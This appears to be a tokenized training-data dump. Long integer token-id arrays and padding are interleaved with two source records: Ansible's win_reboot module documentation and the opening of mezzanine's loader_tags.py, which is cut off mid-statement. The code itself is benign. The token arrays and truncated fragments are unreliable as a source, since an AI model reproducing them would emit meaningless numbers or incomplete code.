[ 199, 961, 859, 394, 810, 874, 5577, 8386, 367, 15801, 2251, 14, 221, 710, 2569, 15801, 199, 2251, 787, 3748, 26, 421, 1849, 2181, 6939, 26, 8051, 367, 10021, 25947, 687, 1373, 11469, 523, 3659, 2656, 370, 4573, 14, 421, 19447, 26, 644, 8146, 376, 10904, 666, 1350, 5253, 14, 2043, 199, 24300, 26, 21947, 367, 314, 10904, 666, 1350, 909, 12, 5171, 523, 10904, 13, 4946, 666, 5274, 14, 421, 29143, 26, 437, 5577, 5523, 367, 16842, 17193, 334, 17835, 3555, 523, 440, 1415, 680, 421, 24220, 26, 11915, 367, 18549, 10904, 10579, 2251, 14, 421, 25756, 26, 437, 1021, 367, 6144, 314, 3365, 10904, 10579, 523, 2943, 334, 17835, 3555, 440, 1415, 680, 421, 24324, 26, 21591, 4403, 50, 13423, 10944, 2251, 14, 421, 710, 15801, 3555, 911, 506, 8439, 687, 314, 2656, 931, 1808, 314, 849, 257, 199, 3555, 536, 367, 314, 1453, 4403, 14, 710, 849, 3555, 931, 1443, 506, 10087, 199, 701, 4260, 658, 17835, 63, 16983, 63, 3243, 64, 315, 2195, 2202, 543, 314, 931, 370, 314, 15801, 445, 9948, 3555, 641, 2195, 2656, 14, 257, 421, 15801, 6220, 370, 282, 7031, 1329, 402, 5957, 8363, 626, 9451, 30207, 1380, 9948, 6511, 14, 221, 20227, 12, 652, 1443, 477, 338, 6842, 370, 3507, 15801, 641, 10460, 543, 13988, 199, 30207, 5944, 1553, 642, 1443, 506, 1066, 863, 1891, 379, 701, 4260, 658, 17835, 63, 16983, 63, 3243, 64, 199, 370, 282, 2222, 13, 4494, 867, 570, 2909, 334, 69, 14, 71, 2020, 658, 17835, 63, 16983, 63, 3243, 8805, 2307, 15, 515, 7, 64, 27, 9948, 4260, 370, 488, 15, 797, 15, 891, 911, 440, 1736, 465, 282, 1059, 1471, 506, 1627, 680, 199, 624, 199, 646, 984, 199, 199, 3, 17413, 1337, 370, 492, 2251, 626, 11687, 641, 314, 15801, 3555, 14, 221, 710, 199, 3, 7509, 63, 17835, 3305, 911, 506, 663, 370, 715, 340, 314, 3555, 365, 3451, 641, 199, 3, 314, 2656, 14, 199, 893, 26, 272, 687, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 3090, 492, 19447, 272, 687, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 21208, 492, 24300, 272, 687, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 773, 11600, 492, 15834, 63, 1023, 12, 15834, 63, 2861, 63, 1023, 12, 15834, 63, 3221, 63, 602, 272, 687, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 12722, 492, 24324, 12, 1849, 2181, 6939, 272, 687, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 21626, 492, 24220, 12, 21390, 6243, 272, 7509, 63, 17835, 275, 715, 199, 2590, 26, 272, 7509, 63, 17835, 12, 21390, 6243, 275, 756, 12, 756, 199, 199, 3, 710, 24631, 12, 1125, 12, 436, 9671, 466, 4621, 886, 440, 5965, 4409, 314, 199, 3, 15801, 3555, 12, 1325, 5139, 1279, 350, 737, 5210, 2018, 499, 14, 20, 436, 5577, 14, 199, 11720, 1789, 275, 984, 14, 1023, 63, 815, 59, 16, 61, 508, 499, 436, 984, 14, 1023, 63, 815, 59, 17, 61, 508, 650, 199, 692, 440, 18280, 1789, 26, 272, 862, 26, 267, 687, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 19707, 492, 29143, 267, 687, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 705, 492, 1104, 63, 1508, 12, 19746, 907, 16010, 12, 10904, 12129, 12, 12765, 21686, 267, 687, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 6481, 466, 492, 25756, 272, 871, 3545, 26, 267, 327, 3091, 5577, 12, 1325, 2793, 1133, 746, 376, 1919, 14, 267, 986, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
mattclay/ansible
test/support/windows-integration/plugins/modules/win_reboot.py
53
4690
#!/usr/bin/python # -*- coding: utf-8 -*- # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['stableinterface'], 'supported_by': 'core'} DOCUMENTATION = r''' --- module: win_reboot short_description: Reboot a windows machine description: - Reboot a Windows machine, wait for it to go down, come back up, and respond to commands. - For non-Windows targets, use the M(reboot) module instead. version_added: '2.1' options: pre_reboot_delay: description: - Seconds to wait before reboot. Passed as a parameter to the reboot command. type: int default: 2 aliases: [ pre_reboot_delay_sec ] post_reboot_delay: description: - Seconds to wait after the reboot command was successful before attempting to validate the system rebooted successfully. - This is useful if you want wait for something to settle despite your connection already working. type: int default: 0 version_added: '2.4' aliases: [ post_reboot_delay_sec ] shutdown_timeout: description: - Maximum seconds to wait for shutdown to occur. - Increase this timeout for very slow hardware, large update applications, etc. - This option has been removed since Ansible 2.5 as the win_reboot behavior has changed. type: int default: 600 aliases: [ shutdown_timeout_sec ] reboot_timeout: description: - Maximum seconds to wait for machine to re-appear on the network and respond to a test command. - This timeout is evaluated separately for both reboot verification and test command success so maximum clock time is actually twice this value. type: int default: 600 aliases: [ reboot_timeout_sec ] connect_timeout: description: - Maximum seconds to wait for a single successful TCP connection to the WinRM endpoint before trying again. type: int default: 5 aliases: [ connect_timeout_sec ] test_command: description: - Command to expect success for to determine the machine is ready for management. type: str default: whoami msg: description: - Message to display to users. type: str default: Reboot initiated by Ansible boot_time_command: description: - Command to run that returns a unique string indicating the last time the system was booted. - Setting this to a command that has different output each time it is run will cause the task to fail. type: str default: '(Get-WmiObject -ClassName Win32_OperatingSystem).LastBootUpTime' version_added: '2.10' notes: - If a shutdown was already scheduled on the system, C(win_reboot) will abort the scheduled shutdown and enforce its own shutdown. - Beware that when C(win_reboot) returns, the Windows system may not have settled yet and some base services could be in limbo. This can result in unexpected behavior. Check the examples for ways to mitigate this. - The connection user must have the C(SeRemoteShutdownPrivilege) privilege enabled, see U(https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/force-shutdown-from-a-remote-system) for more information. seealso: - module: reboot author: - Matt Davis (@nitzmahone) ''' EXAMPLES = r''' - name: Reboot the machine with all defaults win_reboot: - name: Reboot a slow machine that might have lots of updates to apply win_reboot: reboot_timeout: 3600 # Install a Windows feature and reboot if necessary - name: Install IIS Web-Server win_feature: name: Web-Server register: iis_install - name: Reboot when Web-Server feature requires it win_reboot: when: iis_install.reboot_required # One way to ensure the system is reliable, is to set WinRM to a delayed startup - name: Ensure WinRM starts when the system has settled and is ready to work reliably win_service: name: WinRM start_mode: delayed # Additionally, you can add a delay before running the next task - name: Reboot a machine that takes time to settle after being booted win_reboot: post_reboot_delay: 120 # Or you can make win_reboot validate exactly what you need to work before running the next task - name: Validate that the netlogon service has started, before running the next task win_reboot: test_command: 'exit (Get-Service -Name Netlogon).Status -ne "Running"' ''' RETURN = r''' rebooted: description: True if the machine was rebooted. returned: always type: bool sample: true elapsed: description: The number of seconds that elapsed waiting for the system to be rebooted. returned: always type: float sample: 23.2 '''
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 11989, 3266, 995, 490, 283, 4946, 63, 991, 356, 283, 1018, 936, 199, 199, 8948, 275, 519, 2344, 199, 2595, 199, 578, 26, 4747, 63, 15051, 199, 3612, 63, 1802, 26, 799, 4930, 282, 10061, 6844, 199, 1802, 26, 199, 13, 799, 4930, 282, 5417, 6844, 12, 3618, 367, 652, 370, 2621, 3224, 12, 11492, 1771, 1536, 12, 436, 22722, 370, 3718, 14, 199, 13, 2104, 2222, 13, 8647, 4545, 12, 675, 314, 603, 8, 15051, 9, 859, 3140, 14, 199, 1023, 63, 3270, 26, 283, 18, 14, 17, 7, 199, 1419, 26, 523, 876, 63, 15051, 63, 5814, 26, 272, 1369, 26, 272, 446, 3240, 2776, 370, 3618, 2544, 19457, 14, 510, 2744, 465, 282, 2725, 370, 314, 19457, 1414, 14, 272, 730, 26, 1109, 272, 849, 26, 499, 272, 5481, 26, 359, 876, 63, 15051, 63, 5814, 63, 3321, 1622, 523, 2963, 63, 15051, 63, 5814, 26, 272, 1369, 26, 272, 446, 3240, 2776, 370, 3618, 2410, 314, 19457, 1414, 1990, 9512, 2544, 19595, 370, 4107, 314, 2656, 295, 656, 5731, 8792, 14, 272, 446, 961, 365, 2997, 340, 1265, 2934, 3618, 367, 6020, 370, 663, 1118, 477, 681, 1175, 2195, 1950, 2575, 6449, 14, 272, 730, 26, 1109, 272, 849, 26, 378, 272, 1015, 63, 3270, 26, 283, 18, 14, 20, 7, 272, 5481, 26, 359, 2963, 63, 15051, 63, 5814, 63, 3321, 1622, 523, 12842, 63, 2593, 26, 272, 1369, 26, 272, 446, 14212, 4696, 370, 3618, 367, 12842, 370, 4781, 14, 272, 446, 1010, 16772, 642, 2653, 367, 7437, 11999, 14991, 12, 7031, 1678, 13103, 12, 5423, 14, 272, 446, 961, 945, 965, 2757, 4829, 3967, 2622, 499, 14, 21, 465, 314, 4747, 63, 15051, 5953, 965, 2896, 14, 272, 730, 26, 1109, 272, 849, 26, 11624, 272, 5481, 26, 359, 12842, 63, 2593, 63, 3321, 1622, 523, 19457, 63, 2593, 26, 272, 1369, 26, 272, 446, 14212, 4696, 370, 3618, 367, 6844, 370, 295, 13, 27307, 641, 314, 2784, 436, 22722, 370, 282, 511, 1414, 14, 272, 446, 961, 2653, 365, 13006, 18159, 367, 3865, 19457, 14786, 436, 511, 1414, 3182, 880, 5696, 12516, 900, 365, 5965, 13373, 642, 574, 14, 272, 730, 26, 1109, 272, 849, 26, 11624, 272, 5481, 26, 359, 19457, 63, 2593, 63, 3321, 1622, 523, 4907, 63, 2593, 26, 272, 1369, 26, 272, 446, 14212, 4696, 370, 3618, 367, 282, 2849, 9512, 13488, 1950, 370, 314, 13036, 11026, 6037, 2544, 9936, 4020, 14, 272, 730, 26, 1109, 272, 849, 26, 959, 272, 5481, 26, 359, 4907, 63, 2593, 63, 3321, 1622, 523, 511, 63, 1531, 26, 272, 1369, 26, 272, 446, 5817, 370, 4282, 3182, 367, 370, 6705, 314, 6844, 365, 10144, 367, 10041, 14, 272, 730, 26, 620, 272, 849, 26, 3963, 13496, 523, 1499, 26, 272, 1369, 26, 272, 446, 6430, 370, 2929, 370, 4390, 14, 272, 730, 26, 620, 272, 849, 26, 799, 4930, 11023, 972, 701, 2622, 523, 8498, 63, 521, 63, 1531, 26, 272, 1369, 26, 489, 446, 5817, 370, 1255, 626, 2529, 282, 3747, 1059, 9297, 314, 2061, 900, 314, 2656, 1990, 1234, 5731, 14, 489, 446, 13510, 642, 370, 282, 1414, 626, 965, 3365, 1072, 1924, 900, 652, 365, 1255, 911, 7675, 314, 2120, 370, 2449, 14, 272, 730, 26, 620, 272, 849, 26, 8189, 1002, 13, 55, 2664, 1692, 446, 23200, 13036, 708, 63, 23699, 3989, 680, 6090, 17989, 1721, 1366, 7, 272, 1015, 63, 3270, 26, 283, 18, 14, 709, 7, 199, 5983, 26, 199, 13, 982, 282, 12842, 1990, 2575, 18416, 641, 314, 2656, 12, 445, 8, 2676, 63, 15051, 9, 911, 12004, 314, 18416, 12842, 436, 15814, 2399, 5705, 12842, 14, 199, 13, 699, 546, 1530, 626, 1380, 445, 8, 2676, 63, 15051, 9, 2529, 12, 314, 5417, 2656, 1443, 440, 1172, 663, 1118, 68, 5966, 436, 2005, 1300, 8500, 4293, 506, 315, 1212, 77, 656, 14, 523, 961, 883, 754, 315, 10537, 5953, 14, 2670, 314, 7251, 367, 15217, 370, 333, 5277, 3237, 642, 14, 199, 13, 710, 1950, 922, 1471, 1172, 314, 445, 8, 1513, 6713, 20043, 30447, 9, 1979, 17228, 5223, 12, 1937, 523, 738, 8, 2859, 921, 4757, 14, 17040, 14, 957, 15, 287, 13, 527, 15, 8258, 15, 4416, 15, 273, 8319, 13, 14103, 15, 4416, 13, 3185, 13, 1751, 15, 3990, 13, 8831, 13, 504, 13, 65, 13, 3846, 13, 2253, 9, 523, 367, 1655, 2556, 14, 199, 3239, 12344, 26, 199, 13, 859, 26, 19457, 199, 2502, 26, 199, 13, 31653, 577, 1214, 374, 8593, 78, 23751, 391, 72, 368, 9, 199, 2344, 199, 199, 8918, 275, 519, 2344, 199, 13, 536, 26, 799, 4930, 314, 6844, 543, 1006, 4243, 523, 4747, 63, 15051, 26, 199, 199, 13, 536, 26, 799, 4930, 282, 11999, 6844, 626, 5594, 1172, 24213, 402, 7029, 370, 4838, 523, 4747, 63, 15051, 26, 272, 19457, 63, 2593, 26, 15751, 199, 199, 3, 13276, 282, 5417, 3878, 436, 19457, 340, 5784, 199, 13, 536, 26, 13276, 473, 1311, 6001, 13, 3120, 523, 4747, 63, 4445, 26, 272, 536, 26, 6001, 13, 3120, 523, 2274, 26, 284, 374, 63, 3174, 199, 199, 13, 536, 26, 799, 4930, 1380, 6001, 13, 3120, 3878, 5074, 652, 523, 4747, 63, 15051, 26, 523, 1380, 26, 284, 374, 63, 3174, 14, 15051, 63, 2427, 199, 199, 3, 7309, 4340, 370, 4868, 314, 2656, 365, 32150, 12, 365, 370, 663, 13036, 11026, 370, 282, 24725, 14210, 199, 13, 536, 26, 7523, 13036, 11026, 9174, 1380, 314, 2656, 965, 663, 1118, 68, 436, 365, 10144, 370, 1736, 16492, 6665, 523, 4747, 63, 1364, 26, 272, 536, 26, 13036, 11026, 272, 1343, 63, 632, 26, 24725, 421, 199, 3, 25448, 12, 1265, 883, 1050, 282, 7339, 2544, 3879, 314, 2163, 2120, 199, 13, 536, 26, 799, 4930, 282, 6844 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 11989, 3266, 995, 490, 283, 4946, 63, 991, 356, 283, 1018, 936, 199, 199, 8948, 275, 519, 2344, 199, 2595, 199, 578, 26, 4747, 63, 15051, 199, 3612, 63, 1802, 26, 799, 4930, 282, 10061, 6844, 199, 1802, 26, 199, 13, 799, 4930, 282, 5417, 6844, 12, 3618, 367, 652, 370, 2621, 3224, 12, 11492, 1771, 1536, 12, 436, 22722, 370, 3718, 14, 199, 13, 2104, 2222, 13, 8647, 4545, 12, 675, 314, 603, 8, 15051, 9, 859, 3140, 14, 199, 1023, 63, 3270, 26, 283, 18, 14, 17, 7, 199, 1419, 26, 523, 876, 63, 15051, 63, 5814, 26, 272, 1369, 26, 272, 446, 3240, 2776, 370, 3618, 2544, 19457, 14, 510, 2744, 465, 282, 2725, 370, 314, 19457, 1414, 14, 272, 730, 26, 1109, 272, 849, 26, 499, 272, 5481, 26, 359, 876, 63, 15051, 63, 5814, 63, 3321, 1622, 523, 2963, 63, 15051, 63, 5814, 26, 272, 1369, 26, 272, 446, 3240, 2776, 370, 3618, 2410, 314, 19457, 1414, 1990, 9512, 2544, 19595, 370, 4107, 314, 2656, 295, 656, 5731, 8792, 14, 272, 446, 961, 365, 2997, 340, 1265, 2934, 3618, 367, 6020, 370, 663, 1118, 477, 681, 1175, 2195, 1950, 2575, 6449, 14, 272, 730, 26, 1109, 272, 849, 26, 378, 272, 1015, 63, 3270, 26, 283, 18, 14, 20, 7, 272, 5481, 26, 359, 2963, 63, 15051, 63, 5814, 63, 3321, 1622, 523, 12842, 63, 2593, 26, 272, 1369, 26, 272, 446, 14212, 4696, 370, 3618, 367, 12842, 370, 4781, 14, 272, 446, 1010, 16772, 642, 2653, 367, 7437, 11999, 14991, 12, 7031, 1678, 13103, 12, 5423, 14, 272, 446, 961, 945, 965, 2757, 4829, 3967, 2622, 499, 14, 21, 465, 314, 4747, 63, 15051, 5953, 965, 2896, 14, 272, 730, 26, 1109, 272, 849, 26, 11624, 272, 5481, 26, 359, 12842, 63, 2593, 63, 3321, 1622, 523, 19457, 63, 2593, 26, 272, 1369, 26, 272, 446, 14212, 4696, 370, 3618, 367, 6844, 370, 295, 13, 27307, 641, 314, 2784, 436, 22722, 370, 282, 511, 1414, 14, 272, 446, 961, 2653, 365, 13006, 18159, 367, 3865, 19457, 14786, 436, 511, 1414, 3182, 880, 5696, 12516, 900, 365, 5965, 13373, 642, 574, 14, 272, 730, 26, 1109, 272, 849, 26, 11624, 272, 5481, 26, 359, 19457, 63, 2593, 63, 3321, 1622, 523, 4907, 63, 2593, 26, 272, 1369, 26, 272, 446, 14212, 4696, 370, 3618, 367, 282, 2849, 9512, 13488, 1950, 370, 314, 13036, 11026, 6037, 2544, 9936, 4020, 14, 272, 730, 26, 1109, 272, 849, 26, 959, 272, 5481, 26, 359, 4907, 63, 2593, 63, 3321, 1622, 523, 511, 63, 1531, 26, 272, 1369, 26, 272, 446, 5817, 370, 4282, 3182, 367, 370, 6705, 314, 6844, 365, 10144, 367, 10041, 14, 272, 730, 26, 620, 272, 849, 26, 3963, 13496, 523, 1499, 26, 272, 1369, 26, 272, 446, 6430, 370, 2929, 370, 4390, 14, 272, 730, 26, 620, 272, 849, 26, 799, 4930, 11023, 972, 701, 2622, 523, 8498, 63, 521, 63, 1531, 26, 272, 1369, 26, 489, 446, 5817, 370, 1255, 626, 2529, 282, 3747, 1059, 9297, 314, 2061, 900, 314, 2656, 1990, 1234, 5731, 14, 489, 446, 13510, 642, 370, 282, 1414, 626, 965, 3365, 1072, 1924, 900, 652, 365, 1255, 911, 7675, 314, 2120, 370, 2449, 14, 272, 730, 26, 620, 272, 849, 26, 8189, 1002, 13, 55, 2664, 1692, 446, 23200, 13036, 708, 63, 23699, 3989, 680, 6090, 17989, 1721, 1366, 7, 272, 1015, 63, 3270, 26, 283, 18, 14, 709, 7, 199, 5983, 26, 199, 13, 982, 282, 12842, 1990, 2575, 18416, 641, 314, 2656, 12, 445, 8, 2676, 63, 15051, 9, 911, 12004, 314, 18416, 12842, 436, 15814, 2399, 5705, 12842, 14, 199, 13, 699, 546, 1530, 626, 1380, 445, 8, 2676, 63, 15051, 9, 2529, 12, 314, 5417, 2656, 1443, 440, 1172, 663, 1118, 68, 5966, 436, 2005, 1300, 8500, 4293, 506, 315, 1212, 77, 656, 14, 523, 961, 883, 754, 315, 10537, 5953, 14, 2670, 314, 7251, 367, 15217, 370, 333, 5277, 3237, 642, 14, 199, 13, 710, 1950, 922, 1471, 1172, 314, 445, 8, 1513, 6713, 20043, 30447, 9, 1979, 17228, 5223, 12, 1937, 523, 738, 8, 2859, 921, 4757, 14, 17040, 14, 957, 15, 287, 13, 527, 15, 8258, 15, 4416, 15, 273, 8319, 13, 14103, 15, 4416, 13, 3185, 13, 1751, 15, 3990, 13, 8831, 13, 504, 13, 65, 13, 3846, 13, 2253, 9, 523, 367, 1655, 2556, 14, 199, 3239, 12344, 26, 199, 13, 859, 26, 19457, 199, 2502, 26, 199, 13, 31653, 577, 1214, 374, 8593, 78, 23751, 391, 72, 368, 9, 199, 2344, 199, 199, 8918, 275, 519, 2344, 199, 13, 536, 26, 799, 4930, 314, 6844, 543, 1006, 4243, 523, 4747, 63, 15051, 26, 199, 199, 13, 536, 26, 799, 4930, 282, 11999, 6844, 626, 5594, 1172, 24213, 402, 7029, 370, 4838, 523, 4747, 63, 15051, 26, 272, 19457, 63, 2593, 26, 15751, 199, 199, 3, 13276, 282, 5417, 3878, 436, 19457, 340, 5784, 199, 13, 536, 26, 13276, 473, 1311, 6001, 13, 3120, 523, 4747, 63, 4445, 26, 272, 536, 26, 6001, 13, 3120, 523, 2274, 26, 284, 374, 63, 3174, 199, 199, 13, 536, 26, 799, 4930, 1380, 6001, 13, 3120, 3878, 5074, 652, 523, 4747, 63, 15051, 26, 523, 1380, 26, 284, 374, 63, 3174, 14, 15051, 63, 2427, 199, 199, 3, 7309, 4340, 370, 4868, 314, 2656, 365, 32150, 12, 365, 370, 663, 13036, 11026, 370, 282, 24725, 14210, 199, 13, 536, 26, 7523, 13036, 11026, 9174, 1380, 314, 2656, 965, 663, 1118, 68, 436, 365, 10144, 370, 1736, 16492, 6665, 523, 4747, 63, 1364, 26, 272, 536, 26, 13036, 11026, 272, 1343, 63, 632, 26, 24725, 421, 199, 3, 25448, 12, 1265, 883, 1050, 282, 7339, 2544, 3879, 314, 2163, 2120, 199, 13, 536, 26, 799, 4930, 282, 6844, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Skytorn86/mezzanine
mezzanine/template/loader_tags.py
28
6335
from __future__ import unicode_literals from future.builtins import map import os from django.template import Template, TemplateSyntaxError, TemplateDoesNotExist from django.template.loader_tags import ExtendsNode from mezzanine import template register = template.Library() class OverExtendsNode(ExtendsNode): """ Allows the template ``foo/bar.html`` to extend ``foo/bar.html``, given that there is another version of it that can be loaded. This allows templates to be created in a project that extend their app template counterparts, or even app templates that extend other app templates with the same relative name/path. We use our own version of ``find_template``, that uses an explict list of template directories to search for the template, based on the directories that the known template loaders (``app_directories`` and ``filesystem``) use. This list gets stored in the template context, and each time a template is found, its absolute path gets removed from the list, so that subsequent searches for the same relative name/path can find parent templates in other directories, which allows circular inheritance to occur. Django's ``app_directories``, ``filesystem``, and ``cached`` loaders are supported. The ``eggs`` loader, and any loader that implements ``load_template_source`` with a source string returned, should also theoretically work. """ def find_template(self, name, context, peeking=False): """ Replacement for Django's ``find_template`` that uses the current template context to keep track of which template directories it has used when finding a template. This allows multiple templates with the same relative name/path to be discovered, so that circular template inheritance can occur. """ # These imports want settings, which aren't available when this # module is imported to ``add_to_builtins``, so do them here. import django.template.loaders.app_directories as 